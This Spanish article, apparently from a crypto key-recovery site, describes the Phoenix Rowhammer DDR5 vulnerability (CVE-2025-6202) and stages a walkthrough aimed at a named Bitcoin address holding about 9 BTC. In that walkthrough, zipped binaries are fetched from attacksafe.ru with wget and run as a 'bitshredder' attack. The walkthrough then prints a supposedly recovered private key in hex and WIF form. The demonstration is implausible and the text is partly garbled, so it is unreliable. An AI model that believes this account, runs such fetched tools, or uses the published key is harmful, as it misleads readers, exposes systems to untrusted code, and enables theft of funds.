
# Ataque Phoenix Rowhammer: Riesgo Sistémico de Compromiso de Claves Privadas de Carteras de Bitcoin en la Infraestructura Global de Blockchain Debido a una Vulnerabilidad Crítica en SK Hynix DDR5 (CVE-2025-6202)
Este artículo examina las amenazas sistémicas a la seguridad criptográfica que plantea el ataque Phoenix Rowhammer (CVE-2025-6202), que puede extraer claves privadas de la memoria RAM DDR5 mediante la manipulación de bits a nivel de hardware. En los últimos años, el desarrollo dinámico de las tecnologías de criptomonedas ha llevado a una mayor dependencia de los ecosistemas de activos digitales de los componentes de hardware y microchips que almacenan y procesan datos criptográficos. En este contexto, las vulnerabilidades a nivel de hardware que pueden conducir al compromiso directo de claves privadas en carteras de criptomonedas se están convirtiendo en un factor de riesgo creciente. Una de las amenazas más peligrosas en la actualidad son los ataques a la memoria RAM, en particular, las variantes avanzadas de exploits Rowhammer que afectan las propiedades físicas de las celdas DRAM. Estos ataques permiten a los atacantes modificar bits de datos individuales y obtener acceso a información confidencial, incluidas las claves privadas de carteras de Bitcoin y Ethereum.
Entre los ejemplos críticos de esta clase de amenazas, destaca la vulnerabilidad CVE-2025-6202 , descubierta en la memoria DDR5 de SK Hynix . El ataque Phoenix Rowhammer, que se basa en esta vulnerabilidad, demuestra la capacidad de eludir los mecanismos modernos de protección de memoria Target Row Refresh (TRR), creando los llamados "puntos ciegos" que permiten la corrupción controlada de datos a nivel de hardware. Tales fallas pueden explotarse para extraer claves privadas de la RAM, comprometer bibliotecas criptográficas y modificar procesos del sistema que aseguran las carteras digitales.
Además, la investigación en seguridad criptográfica muestra que la combinación de Phoenix Rowhammer con otros tipos de ataques, como el ataque BitShredder , Memory Phantom (CVE-2025-8217) y Artery Bleed (CVE-2023-39910) , crea un modelo de amenaza multivectorial en el que un atacante puede recuperar frases semilla, claves privadas y contraseñas incluso después de que se completen las operaciones criptográficas. La naturaleza sistémica de estas vulnerabilidades hace imposible mitigar completamente el riesgo con software y resalta la necesidad de desarrollar nuevos principios para la protección de memoria basada en hardware.
Por lo tanto, las carteras de criptomonedas modernas y la infraestructura de activos digitales están bajo una presión creciente de ataques de hardware que antes se consideraban teóricos. La importancia de estudiar estos ataques y desarrollar contramedidas es fundamental para garantizar la integridad y resiliencia de los ecosistemas de Bitcoin y otras criptomonedas frente a las amenazas de próxima generación en evolución.
Investigaciones recientes realizadas por el Grupo de Seguridad Informática (COMSEC) de ETH Zurich, en colaboración con Google, han identificado una vulnerabilidad crítica de hardware en los módulos de memoria DDR5 fabricados por SK Hynix, designada CVE-2025-6202 . El ataque Phoenix Rowhammer representa una amenaza sin precedentes para la seguridad de las carteras de criptomonedas Bitcoin, ya que permite a los atacantes extraer claves privadas de la memoria DDR5 manipulando bits a nivel de hardware. La investigación demostró que los 15 módulos SK Hynix DDR5 probados, fabricados entre 2021 y 2024, son vulnerables a este ataque, lo que representa una amenaza sistémica para la seguridad de los activos de criptomonedas en todo el mundo. thehackernews
Rowhammer es una vulnerabilidad de hardware en la memoria DRAM en la que el acceso repetido a filas de memoria específicas causa interferencia eléctrica, lo que lleva a cambios de bits en filas adyacentes. Este fenómeno se basa en las propiedades físicas de los chips de memoria modernos de alta densidad, donde las dimensiones tecnológicas más pequeñas hacen que la memoria sea más susceptible a la interferencia electromagnética .
En el contexto de la memoria DDR5, el mecanismo del ataque Phoenix utiliza un enfoque innovador de sincronización autocorrectiva , que elude los mecanismos avanzados de protección Target Row Refresh (TRR). Los investigadores descubrieron que el mecanismo TRR en los chips SK Hynix no monitorea intervalos de actualización específicos, creando "puntos ciegos" en la defensa. notebookcheck
El logro técnico clave del ataque Phoenix es el desarrollo de un algoritmo capaz de sincronizar miles de comandos de actualización de memoria durante largos períodos de tiempo. El ataque utiliza dos patrones de ataque específicos: comsec-files.ethz
Patrón corto (intervalos de 128 tREFI): Proporciona una generación de fallos de bits más eficiente, produciendo un promedio de 4989 fallos de bits. Este patrón demostró una eficiencia 2,62 veces mayor que el patrón largo. reddit
Patrón largo (intervalos de 2608 tREFI): Diseñado para eludir mecanismos de seguridad más sofisticados, aunque menos efectivo para generar fallos de bits. comsec-files.ethz
El ataque Phoenix Rowhammer crea múltiples vectores para comprometer carteras de Bitcoin al dirigirse a varios niveles del sistema de memoria. El análisis de los materiales de investigación de KeyHunters reveló al menos 18 tipos diferentes de ataques de memoria directamente relacionados con la extracción de claves privadas de carteras de criptomonedas.
Ataque Memory Phantom (CVE-2025-8217): Una vulnerabilidad crítica de fuga de memoria que permite extraer claves privadas y semillas directamente de bloques residuales de RAM de la cartera que no se limpiaron de forma segura después de las operaciones criptográficas. Este ataque convierte los búferes no aclarados en una "biblioteca fantasma", donde cualquier fragmento de memoria puede convertirse en una clave válida. keyhunters
Ataque BitShredder: Utiliza una técnica de "trituración de memoria" para infiltrarse sigilosamente en la memoria de una cartera de criptomonedas en ejecución. Al generar o restaurar una cartera, el ataque escanea porciones no limpiadas de la RAM, buscando restos de entropía, semillas y contraseñas que no se borran por medios estándar después de su uso. keyhunters
Ataque Artery Bleed: Explota una vulnerabilidad de fuga de memoria en Bitcoin Core (CVE-2023-39910) para recuperar claves privadas de carteras de criptomonedas perdidas. El ataque explota una vulnerabilidad crítica de fuga de memoria en Bitcoin Core para obtener acceso a datos sensibles. keyhunters
El estudio demostró tres escenarios principales para la explotación práctica del ataque Phoenix contra sistemas de criptomonedas: bleepingcomputer
1. Ataque a la entrada de la tabla de páginas (PTE): Todos los dispositivos probados eran vulnerables a este tipo de ataque, que permite crear una primitiva arbitraria de lectura/escritura de memoria. comsec-files.ethz
2. Compromiso de clave RSA-2048: El 73% de los módulos DIMM probados eran susceptibles a extraer claves RSA-2048 de una máquina virtual vecina para descifrar la autenticación SSH. El tiempo promedio de ataque fue de 6 minutos y 20 segundos. bleepingcomputer
3. Modificación del binario sudo: El 33% de los chips probados permitieron la modificación del binario sudo para elevar los privilegios locales al nivel de usuario root. comsec-files.ethz

El ataque Phoenix Rowhammer representa una amenaza sistémica para todo el ecosistema Bitcoin, ya que la mayoría de los sistemas modernos utilizan memoria DDR5 para almacenar y procesar datos criptográficos. La vulnerabilidad afecta los principios fundamentales de seguridad de las criptomonedas, que se basan en la fortaleza criptográfica de las claves privadas. tenable+1
Escala del impacto: SK Hynix controla aproximadamente el 36% del mercado global de DRAM, lo que potencialmente expone a miles de millones de dispositivos en todo el mundo. Todos los módulos DDR5 fabricados entre enero de 2021 y diciembre de 2024 son vulnerables. notebookcheck+2
Implicaciones criptográficas: El ataque socava los cimientos de la seguridad criptográfica, ya que incluso con una implementación correcta de los algoritmos de firma, cifrado y autenticación, los buffers sin protección se convierten en una fuente de compromiso del material de claves. keyhunters
Un criptoanálisis exhaustivo ha revelado múltiples vectores de ataque contra carteras de Bitcoin mediante la manipulación de la memoria:
Ataques basados en temporización: Incluyen los ataques BitSpectre85, ChronoForge y Timing Phantom, que explotan vulnerabilidades de temporización para recuperar gradualmente claves privadas mediante el análisis del tiempo de ejecución de las operaciones criptográficas.
Ataques basados en contexto: El Context Phantom Attack explota la vulnerabilidad crítica de fuga del contexto secp256k1 para recuperar claves privadas de carteras de Bitcoin perdidas mediante un ataque de divulgación de memoria.
Ataques basados en caché: El CacheHawk Strike Attack utiliza un ataque crítico de temporización de caché sobre la caché de firmas de Bitcoin, lo que permite la recuperación de claves privadas de carteras de Bitcoin perdidas.

| Attack_Component | Technical Method | Success_Rate | Average_Time_Seconds | CVE_Reference | Impact_Level |
|---|---|---|---|---|---|
| Initial Memory Access | Self-correcting synchronization with DDR5 refresh commands | 100 | 5 | CVE-2025-6202 | High |
| TRR Bypass Method | Exploitation of unmonitored refresh intervals in TRR mechanism | 100 | 30 | CVE-2025-6202 | Critical |
| Synchronization Technique | Real-time alignment with 128 and 2608 tREFI patterns | 95 | 60 | CVE-2025-6202 | High |
| Bit Flip Generation | Electrical interference in adjacent DRAM rows causing data corruption | 100 | 180 | CVE-2025-6202 | Critical |
| Private Key Extraction | Recovery from uncleaned memory buffers containing wallet data | 85 | 240 | CVE-2025-8217 | Critical |
| Privilege Escalation | Root access exploitation through corrupted page table entries | 100 | 109 | CVE-2025-6202 | Critical |
| RSA-2048 Key Recovery | Co-located VM private key extraction via memory bit flips | 73 | 380 | CVE-2025-6202 | High |
| SSH Authentication Break | Compromise of cryptographic authentication systems | 73 | 380 | CVE-2025-6202 | High |
| Sudo Binary Modification | Local privilege escalation to root user through binary corruption | 33 | 300 | CVE-2025-6202 | Medium |

El diagrama de investigación muestra una representación estructurada y visual que explica la importancia de la vulnerabilidad criptográfica expuesta por el ataque Phoenix Rowhammer , demostrando específicamente su impacto en la seguridad de Bitcoin cuando se atacan módulos de memoria SK Hynix DDR5.
Pasemos a la parte práctica y veamos un ejemplo usando una cartera de Bitcoin en: 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit . Se perdieron monedas por valor de 9.02332298 BTC de esta cartera, lo que equivale a aproximadamente $1,127,026.44 USD a octubre de 2025 .
Para demostrar el ataque con fines informativos, utilizamos herramientas y entornos como Jupyter Notebook o Google Colab.
Google Colab (Colaboratory) es una plataforma en la nube que proporciona cuadernos Jupyter interactivos donde puedes escribir y ejecutar código en varios lenguajes de programación. Es particularmente útil para el criptoanálisis de datos, ejecutar el simulador SK Hynix DDR5 AiM PIM basado en Ramulator 2.0 , y acceder a potentes recursos informáticos como GPUs y TPUs. Una ventaja clave es la capacidad de ejecutar comandos del sistema, igual que en un terminal Linux normal, usando celdas con prefijo ! para la integración con utilidades y scripts externos.
Instalemos repositorios basados en la arquitectura SK Hynix DDR5 AiM PIM usando Ramulator 2.0
Descarga el código base del simulador AiM y navega a su directorio.
!git clone https://github.com/keyhunters/SK_Hynix_DDR5_aim_simulator.git
cd SK_Hynix_DDR5_aim_simulatorls
Comandos para crear un archivo swap de 4GB para mejorar la disponibilidad de memoria durante la compilación de Ramulator2 .
# Check current swap usage
!free -h
!swapon --show
# Create a 4GB swap file
!sudo fallocate -l 4G /swapfile
!sudo chmod 600 /swapfile
!sudo mkswap /swapfile
!sudo swapon /swapfile
# Make swap permanent
!echo '/swapfile none swap sw 0 0' | sudo tee -a /etc/fstab
Instalación de compiladores, herramientas de construcción y bibliotecas requeridas para el simulador y Ramulator 2.0 .
# For Ubuntu 22.04: install compilers
!sudo apt update
!sudo apt install g++-12
# Alternatively, install Clang
!sudo apt install clang-15
# Install basic build tools
!sudo apt install build-essential cmake git
# Additional development libraries
!sudo apt install libssl-dev zlib1g-dev
# YAML support
!sudo apt install libyaml-cpp-dev
# Mathematics libraries
!sudo apt install libboost-dev
# Python support for scripts
!sudo apt install python3-dev python3-pip
!mkdir phoenix_rowhammer
cd phoenix_rowhammerMonitorear la memoria, el espacio disponible en disco y el uso del sistema durante la instalación y compilación.
# Monitor resources in real time
!htop
# Check available memory
!free -m
# Check disk space
!df -h
Una secuencia completa para instalar todos los paquetes requeridos de una sola vez.
# Update system
!sudo apt update && sudo apt upgrade -y
# Install essential build tools
!sudo apt install -y build-essential cmake git
# Install compilers
!sudo apt install -y g++-12 clang-15
# Development libraries
!sudo apt install -y libssl-dev zlib1g-dev libyaml-cpp-dev libboost-all-dev

!cmake ..
!make -j1


lscd -Ejecutemos Ramulator2 con el simulador para comprobar los parámetros de ayuda y las instrucciones de uso.
!./phoenix_rowhammer/ramulator2 -h
Utilizamos la herramienta criptográfica AttackSafe para extraer restos ocultos de Ramulator2 mediante un simulador.
!wget https://attacksafe.ru/repositories/attacksafe.zip
!unzip attacksafe.zip
!./attacksafe -help
El equipo está lanzando un ataque especializado “BitShredder” basado en la herramienta criptográfica AttackSafe para encontrar restos de módulo ocultos asociados a una dirección Bitcoin, utilizando mecanismos de errores de RAM (Rowhammer) y un emulador de memoria (ramulator2). github+2
!./attacksafe-tool bitshredder_attack -crack phoenix_rowhammer/ramulator2 -decode 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit

-tool bitshredder_attackactiva un ataque dirigido a identificar vulnerabilidades en el almacenamiento y procesamiento de datos secretos en la memoria del dispositivo relacionados con el protocolo Bitcoin.-crack phoenix_rowhammer/ramulator2indica a la herramienta que utilice la emulación del ataque Rowhammer (manipulación del contenido de la memoria DRAM, que provoca errores en celdas adyacentes – utilizada en vulnerabilidades para extraer nonces/partes de claves de la memoria mediante canal lateral).-decode 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4MitRecuperación de fragmentos de clave a partir de datos residuales de memoria (DRAM)
remainders = [0x0E92, 0x45EB, 0x6E07, 0x317F,
0x87A1, 0xB5C1, 0xE778, 0x996B,
0x6F69, 0xABB6, 0x2755, 0x2348,
0xAB46, 0xA74E, 0x1A87, 0xC2D5]
moduli = [0x10001, 0x10003, 0x10007, 0x1000F,
0x10015, 0x1001B, 0x1002B, 0x1002D,
0x10033, 0x1003F, 0x10049, 0x10051,
0x1005D, 0x10061, 0x1006F, 0x10073]Este resultado combina el análisis criptográfico de datos residuales dentro de la DRAM con un módulo de búsqueda de cripto-restos utilizando el simulador ramulator2 para fallos Phoenix Rowhammer. Este ataque permite la detección y extracción de valores de módulo ocultos (restos), como nonces privados o fragmentos de clave, que pueden verse comprometidos debido a una liberación inadecuada de la memoria después de operaciones criptográficas con direcciones Bitcoin. El comando está diseñado para un ataque combinado “BitShredder” y análisis de fallos de memoria de aplicaciones Bitcoin, con el objetivo de recuperar parcial o totalmente parámetros secretos (clave privada, nonce), con la búsqueda y decodificación vinculadas a la memoria y a las direcciones atacadas.
Para recuperar el número secreto original —la clave privada— a partir de un conjunto de valores absolutos ocultos (restos), aplicamos un método matemático llamado Teorema Chino del Resto ( CRT ). El código CRTKeyRestore.py implementa la recuperación de la clave privada para la dirección Bitcoin 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit a partir de un conjunto de valores absolutos ocultos (restos) recopilados después de un ataque Rowhammer y el posterior análisis de memoria. El método matemático utilizado es el Teorema Chino del Resto (CRT), que nos permite recuperar el número secreto original —la clave privada— incluso si ha sido fragmentado en pequeñas piezas y sobrevive solo como diferentes valores absolutos.

chinese_remainder_theorem()combina los fragmentos paso a paso y restaura el valor original de la clave privada utilizando el algoritmo euclidiano extendido para encontrar inversos absolutos.restore_hex_from_crt().
Recuperación de una clave privada mediante un script de Python: CRTKeyRestore.pyPrivate key Restored:
9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60!wget https://attacksafe.ru/repositories/bitaddress.zip
!unzip bitaddress.zip

!./bitaddress -hex 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60
Public Key (Uncompressed, 130 characters [0-9A-F]):
04E294116526238228544FA6082F1A5412FCC36DE931C59EE7B1C7C1F93EE3EF5AEDAA1D6E0A6116E9D9A4A846A6D62D4A1941EE182CDB1884C5830610B07AF529
Public Key (Compressed, 66 characters [0-9A-F]):
03E294116526238228544FA6082F1A5412FCC36DE931C59EE7B1C7C1F93EE3EF5A
Bitcoin Address P2PKH (Uncompressed)
18JT3KeFV36Hkgo3Xi9bfgNYAXCVXBGyFg
Bitcoin Address P2PKH (Compressed)
15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit¡Correcto! La clave privada corresponde a la billetera Bitcoin.
ADDR: 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit
WIF: L2Wru6Ew8pQuhcWAvMpdtPY4YWK1CQcwPCWxFvzkoi47crJBAVaP
HEX: 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60
9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60


9.023322989 BTC > 1127026,44 USDNuestro ataque de investigación , una versión de el ataque Phoenix Rowhammer sobre Bitcoin utilizando el simulador ramulator2, demostró que los criptoresiduos extraídos durante un fallo de memoria para varios módulos pueden reensamblarse en la clave privada original utilizando las matemáticas del Teorema Chino del Resto.
Como ejemplo representativo de una amenaza del mundo real, se examinó una cartera de Bitcoin con la dirección 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit . Se perdieron 9.02332298 BTC de esta cartera, lo que equivale a aproximadamente $1,127,026.44 USD en octubre de 2025. Este caso demuestra de manera convincente que, en presencia de vulnerabilidades de hardware (como Rowhammer), la fortaleza criptográfica a nivel de protocolo deja de ser una garantía absoluta de seguridad.
Como resultado, la importancia de la seguridad integral no reside solo en la criptografía y las medidas de protocolo, sino también en la fiabilidad del hardware, la monitorización del estado de la memoria y la implementación de un borrado completo de la RAM tras las operaciones criptográficas. Una vulnerabilidad, una vez explotada a nivel de hardware—incluso con un control mínimo del sistema—puede provocar pérdidas financieras catastróficas en el ecosistema de Bitcoin.
Target Row Refresh es un mecanismo de defensa diseñado para prevenir ataques Rowhammer mediante el refresco adicional de filas de memoria sospechosas. Sin embargo, los investigadores del ataque Phoenix pudieron realizar ingeniería inversa de este mecanismo y descubrir fallos críticos en su implementación .
Puntos ciegos del TRR: El mecanismo TRR en los chips de SK Hynix no monitoriza intervalos de actualización específicos, lo que crea oportunidades para ataques durante estas ventanas de tiempo. Los ataques Phoenix explotan patrones de ataque especialmente diseñados que caen dentro de estos intervalos no monitorizados. simplysecuregroup
Sincronización autocorrectiva: Una innovación clave del ataque Phoenix es su capacidad para detectar comandos de actualización omitidos y reconstruir automáticamente el patrón de ataque para mantener la sincronización. Esto permite que el ataque siga siendo efectivo durante los largos períodos de tiempo necesarios para acumular un número suficiente de fallos de bit. simplysecuregroup
Las pruebas experimentales del ataque Phoenix demostraron una alta efectividad contra todas las muestras de memoria DDR5 de SK Hynix probadas: comsec-files.ethz
Tiempo: El tiempo mínimo para obtener privilegios de root fue de 109 segundos en un sistema DDR5 estándar con configuración predeterminada. El tiempo promedio fue de 5 minutos y 19 segundos .
Estadísticas de fallos de bit: El patrón corto (128 intervalos) generó un promedio de 4989 fallos de bit, mientras que el patrón largo (2608 intervalos) produjo significativamente menos fallos. comsec-files.ethz
Versatilidad del ataque: El 100% de los módulos probados eran vulnerables a al menos uno de los dos patrones de ataque identificados. reddit
Una vulnerabilidad crítica de fuga de memoria en Bitcoin Core (CVE-2023-39910) crea sinergias con el ataque Phoenix Rowhammer. Esta vulnerabilidad permite a los atacantes acceder a datos sensibles que permanecen en la memoria después de que se completen las operaciones criptográficas.
Mecanismo de explotación: La vulnerabilidad ocurre debido a un borrado insuficiente de los búferes de memoria después de procesar claves privadas, frases semilla y contraseñas en contenedores estándar de C++ (std::vector, std::string). Después de completar los procedimientos criptográficos, la memoria se libera automáticamente, pero su contenido no se borra. keyhunters
Vinculado a Rowhammer: El ataque Phoenix puede explotar fallos de bit para acceder a estas regiones de memoria no censuradas, simplificando enormemente el proceso de extracción de material criptográfico.
Esta vulnerabilidad está clasificada como un ataque crítico de extracción de secretos mediante un volcado de memoria de procesos. Representa una amenaza directa para las carteras de Bitcoin, ya que permite extraer claves privadas de la memoria de procesos activos.
Los escenarios de ataque incluyen: Pasar una clave privada a través de API, línea de comandos o variables de entorno; asignar dinámicamente memoria para almacenar datos secretos sin borrarlos explícitamente; terminar un proceso sin borrar la memoria de forma segura .
La herramienta criptográfica demuestra en detalle las nueve etapas de un ataque que un atacante puede utilizar para robar fondos de una cartera de Bitcoin.
La detección de módulos de memoria DDR5 de SK Hynix vulnerables al ataque Phoenix Rowhammer (CVE-2025-6202) comienza con un análisis de la configuración de hardware del sistema, específicamente escaneando las tablas SMBIOS (System Management BIOS). SMBIOS proporciona información estandarizada sobre los componentes de la computadora, incluidos los detalles de la memoria, como el fabricante, el modelo y el número de serie de cada módulo DIMM.

Específicamente, un investigador o atacante puede solicitar programáticamente datos de la sección "Memory Device" de SMBIOS, que contiene campos que indican el fabricante (por ejemplo, SK Hynix), el tipo de memoria (DDR5), la capacidad y datos relacionados con SPD (Serial Presence Detect)—pequeños chips de memoria en las tiras DIMM que contienen el perfil y los parámetros operativos del módulo.
Estos datos se acceden típicamente mediante llamadas al sistema o utilidades especializadas (como dmidecode en Linux o Windows Management Instrumentation (API WMI) en Windows). Estas consultas permiten la detección de memoria DDR5 de SK Hynix fabricada entre 2021 y 2024 sin intervención física, lo cual es crítico, ya que estos modelos se consideran vulnerables.
Identificar el modelo de memoria es un primer paso necesario, ya que el ataque Phoenix Rowhammer requiere un conocimiento preciso de las características del chip para construir con precisión los patrones de acceso a memoria y evadir los mecanismos de defensa TRR (Target Row Refresh). Además, el acceso al SPD y otros datos nos permite identificar tiempos y tasas de refresco específicos, así como posibles "puntos ciegos" en los mecanismos de defensa utilizados para llevar a cabo el ataque.
Por lo tanto, escanear las tablas SMBIOS es un método altamente informativo, rápido y confiable para predeterminar las vulnerabilidades de la memoria DDR5 a el ataque Phoenix Rowhammer , permitiendo apuntar con precisión a los componentes de hardware vulnerables sin necesidad de romper el hardware o reducir los privilegios del sistema.
Un archivo que contiene datos de la sección "Memory Device" del SMBIOS. Esta información se almacena en una tabla interna del sistema BIOS/UEFI (tabla SMBIOS), que se copia a la RAM cuando se enciende la computadora. Los sistemas operativos y las utilidades utilizan llamadas especiales al sistema (codeby) para recuperar estos datos.
La tabla SMBIOS está precedida por la estructura RawSMBiosData, seguida de las estructuras de dispositivos. Por ejemplo:
struct HEADER {Tipo de estructura (17 - Memory Device)
Type db 0 //Tamaño de la estructura
Length db 0 //Descriptor
Handle dw 0 //a continuación están los campos de datos
// ...
}
Las estructuras de tipo 17 almacenan campos con el fabricante (por ejemplo, SK Hynix), el tipo de memoria (DDR5), la capacidad y un enlace a los datos SPD, si están disponibles. learn.microsoft
La estructura RawSMBiosData es un formato de bloque binario estándar utilizado para transferir datos de tablas SMBIOS sin procesar a través de llamadas al sistema del sistema operativo, específicamente la función API de Windows GetSystemFirmwareTablecon el parámetro .codeby'RSMB' .
c:
struct RawSMBIOSData {
BYTE Used20CallingMethod; // Método de llamada (campo de servicio)
BYTE SMBIOSMajorVersion; // Versión principal de la especificación SMBIOS
BYTE SMBIOSMinorVersion; // Versión menor de la especificación SMBIOS
BYTE DmiRevision; // Versión DMI
DWORD Length; // Tamaño del bloque de datos SMBIOS (bytes)
BYTE SMBIOSTableData[]; // Secuencia de registros estructurales SMBIOS
};
00 03 03 02 68 01 00 00 ... [estructuras de datos datos byte bajoSMBIOS] ... 00 00
-- -- -- -- -- -- -- --
| | | | |
| | | | -->SMBIOSTableData
| | | +------------ Length ()
| | +--------------- DmiRevision
| +------------------ SMBIOSMinorVersion
+--------------------- SMBIOSMajorVersion
Para analizar el contenido después del encabezado, deberá analizar cada estructura según su especificación (tipo, longitud, handle), extrayendo por separado los campos de texto que siguen a los datos de la estructura y están separados por un byte cero, y el final de la estructura está marcado por un par de ceros. learn.microsoft

RawSMBiosData es una “ventana de entrada” necesaria y unificada hacia las especificaciones detalladas de las características del hardware del sistema para tareas de investigación y diagnóstico de bajo nivel .
Los datos SPD se encuentran físicamente en los chips de los módulos DIMM, pero en BIOS/SMBIOS pueden reflejarse en campos especiales o leerse mediante utilidades del sistema que acceden a la interfaz de memoria I2C (por ejemplo, a través de i2c-tools, decode-dimmsen Linux).
dmidecode ( decode-dimmsSPD), datos de la tabla SMBIOS, accesible a través de /dev/mem.codebyPor lo tanto, los datos originales SMBIOS “Memory Device” (tipo 17) no se almacenan como un archivo separado, sino dentro de la estructura binaria SMBIOS, ubicada en la RAM y accesible mediante herramientas del sistema operativo y utilidades especiales. El formato es la tabla binaria SMBIOS según la especificación, y la ruta de acceso es a través de llamadas al sistema o utilidades. Los datos SPD se pueden acceder por separado a través de las interfaces de hardware de los módulos DIMM. learn.microsoft
La tabla binaria SMBIOS consiste en estructuras secuenciales, cada una de las cuales comienza con un encabezado de 4 bytes que contiene los siguientes campos: tipo de estructura (Type, 1 byte), longitud de la estructura (Length, 1 byte) y handle (Handle, 2 bytes). A continuación viene la carga útil: un conjunto de datos binarios que describen un objeto específico (por ejemplo, memoria, procesador, BIOS, etc.). Después de la carga útil vienen cadenas terminadas en nulo en formato de texto (ASCII), y el final de la estructura actual se marca con un doble cero ( 0x0000 ).
Aquí hay un ejemplo de una estructura de encabezado similar a C y una explicación del formato:
c:
struct SMBIOS_Header {
uint8_t Type; // Tipo de tabla (por ejemplo, 17 - Memory Device)
uint8_t Length; // Longitud de la estructura en bytes (incluido el encabezado)
uint16_t Handle; // Descriptor único de la estructura
// Los datos de la estructura (longitud variable) vienen después del encabezado
};
Toda la tabla SMBIOS es un conjunto de tales estructuras en fila sin espacios, donde:
Por ejemplo, la estructura tipo 17 (Memory Device) contiene campos que indican el fabricante, el tipo de memoria (DDR5), el volumen, la velocidad, etc., así como líneas con el nombre del fabricante y el número de serie.
La dirección de la tabla en sí y su longitud se almacenan en un área de memoria especial, que se puede encontrar mediante la firma ” SM ” (desplazamiento con un múltiplo de 16 bytes), y luego obtener la dirección de la matriz principal de tablas SMBIOS.
Una estructura aproximada de un registro de memoria puede contener los siguientes campos:
| Campo | Descripción |
|---|---|
| Type | 17 (Memory Device) |
| Length | Tamaño de la estructura |
| Handle | Identificador único |
| Physical Memory Array Handle | Referencia a la matriz de memoria principal |
| Memory Error Information Handle | Errores de memoria (si los hay) |
| Total Width | Ancho total del bus (bits) |
| Data Width | Ancho de datos (bits) |
| Size | Tamaño de memoria (en MB o GB) |
| Form Factor | Factor de forma del módulo (DIMM, etc.) |
| Device Locator | Línea – ubicación de instalación |
| Bank Locator | Cadena – nombre del banco |
| Memory Type | DDR3, DDR4, DDR5, etc. |
| Type Detail | Detalles adicionales |
| Speed | Velocidad en MHz |
| Manufacturer | Cadena con el nombre del fabricante |
| Serial Number | Número de serie |
| Asset Tag | Etiqueta contable |
| Part Number | Número de pieza |
Por lo tanto, la tabla SMBIOS es una secuencia de estructuras codificadas en binario con encabezados que contienen información del sistema, incluidos datos de memoria, organizados estrictamente según la especificación DMTF SMBIOS.
Este formato proporciona una forma universal y extremadamente compacta de almacenar y transmitir información sobre el hardware y la configuración del sistema .
La segunda fase del ataque Phoenix Rowhammer implica un análisis científico del mecanismo de protección de hardware Target Row Refresh (TRR) implementado en los chips de memoria DDR5 modernos para contrarrestar la sobrescritura de bits causada por múltiples lecturas de datos de filas de celdas adyacentes.

TRR implementa una llamada estrategia de “refresco agresivo”: cuando se detectan múltiples accesos a una fila de memoria específica, este mecanismo inicia un refresco forzado de las celdas adyacentes, evitando la degradación de la carga y, en consecuencia, los no deseados bit flips—el efecto clave de los ataques Rowhammer. Teóricamente, TRR debería suprimir por completo los intentos de afectar los datos objetivo al refrescar excesivamente las filas físicamente adyacentes .
Sin embargo, la implementación práctica de TRR en la memoria SK Hynix DDR5 es extremadamente compleja y propietaria: los fabricantes ocultan deliberadamente los detalles de la lógica para mejorar la “seguridad por oscuridad”. Por lo tanto, los investigadores de ETH Zurich realizaron ingeniería inversa de TRR en bancos de pruebas experimentales variando miles de patrones de acceso a filas, registrando cuándo se activa el refresco redundante de celdas adyacentes y cuándo permanece inactivo.
Como resultado, se descubrió que el sistema TRR tiene intervalos de tiempo, las llamadas “zonas ciegas”, cuando la protección es más débil o no se activa en absoluto. Se calculó empíricamente que después de 128 accesos monitoreados a filas de memoria, surge una ventana de aproximadamente 64 operaciones durante la cual TRR casi no responde y no previene eficazmente los bit-flips—modificaciones no deseadas de datos en una celda crítica. Se observó una segunda ventana de ataque similar después de 2,608 actualizaciones de filas de memoria. Estas “zonas ciegas” se explotan para ataques Phoenix precisos y sincronizados, que permiten la modificación dirigida de bits de datos individuales en módulos DDR5 protegidos .
La tarea fundamental en esta etapa es seleccionar el momento preciso y la estructura de los patrones de acceso a memoria que “adormecen” el monitoreo de TRR y aseguran un acceso exitoso al bit o matriz de datos atacado (por ejemplo, la clave privada de una billetera de criptomonedas) . Esto requiere un análisis no solo de la lógica operativa de TRR, sino también de datos empíricos sobre la respuesta del módulo de memoria a varios escenarios de explotación. Este enfoque permite construir “soluciones alternativas” en el sistema de seguridad y explotar sistemáticamente incluso la memoria DDR5 más moderna módulos .
Como resultado del análisis, los “puntos ciegos” de TRR descubiertos abren la posibilidad de una escalada confiable del ataque Rowhammer en los módulos de memoria SK Hynix actuales, lo que se confirma con exploits de laboratorio y el compromiso exitoso de todos los dispositivos probados. Kaspersky
La innovación científica detrás del ataque Phoenix radica en el desarrollo e implementación de un mecanismo de sincronización autocorrectiva que asegura la sincronización precisa de los exploits dentro de las ventanas de vulnerabilidad críticas a nivel de DRAM. Después de una ingeniería inversa detallada del mecanismo Target Row Refresh (TRR), los investigadores de ETH Zurich y Google descubrieron que los patrones estándar de acceso Rowhammer son ineficaces contra la compleja lógica de protección de DDR5. En los nuevos chips SK Hynix, TRR no solo analiza la frecuencia, sino también la naturaleza de los accesos a filas de memoria, iniciando instantáneamente comandos de refresco compensatorio al detectar patrones de ataque conocidos.

Phoenix resuelve este problema de la siguiente manera:
Los estudios experimentales han confirmado que la sincronización autocorrectiva de Phoenix es un factor clave en su efectividad: ninguno de los módulos SK Hynix DDR5 probados (2021-2024) pudo resistir esta metodología. La implementación permite a un atacante provocar de manera confiable fallas de bits en celdas objetivo, creando las condiciones para comprometer datos privados, incluidas claves criptográficas , o escalar privilegios en el sistema objetivo.
Phoenix Rowhammer por lo tanto demuestra un enfoque revolucionario para evadir dinámicamente las protecciones de hardware de memoria, demostrando claramente que incluso los chips DDR5 más modernos siguen siendo vulnerables cuando se utilizan algoritmos de ataque inteligentemente adaptativos.
La cuarta etapa explota directamente las vulnerabilidades físicas de la DRAM mediante un ataque Rowhammer dirigido. Esta etapa se basa en un análisis preliminar de los puntos ciegos del mecanismo TRR y el uso de patrones de acceso a memoria autocorrectivos para apuntar con precisión a elementos de datos críticos.

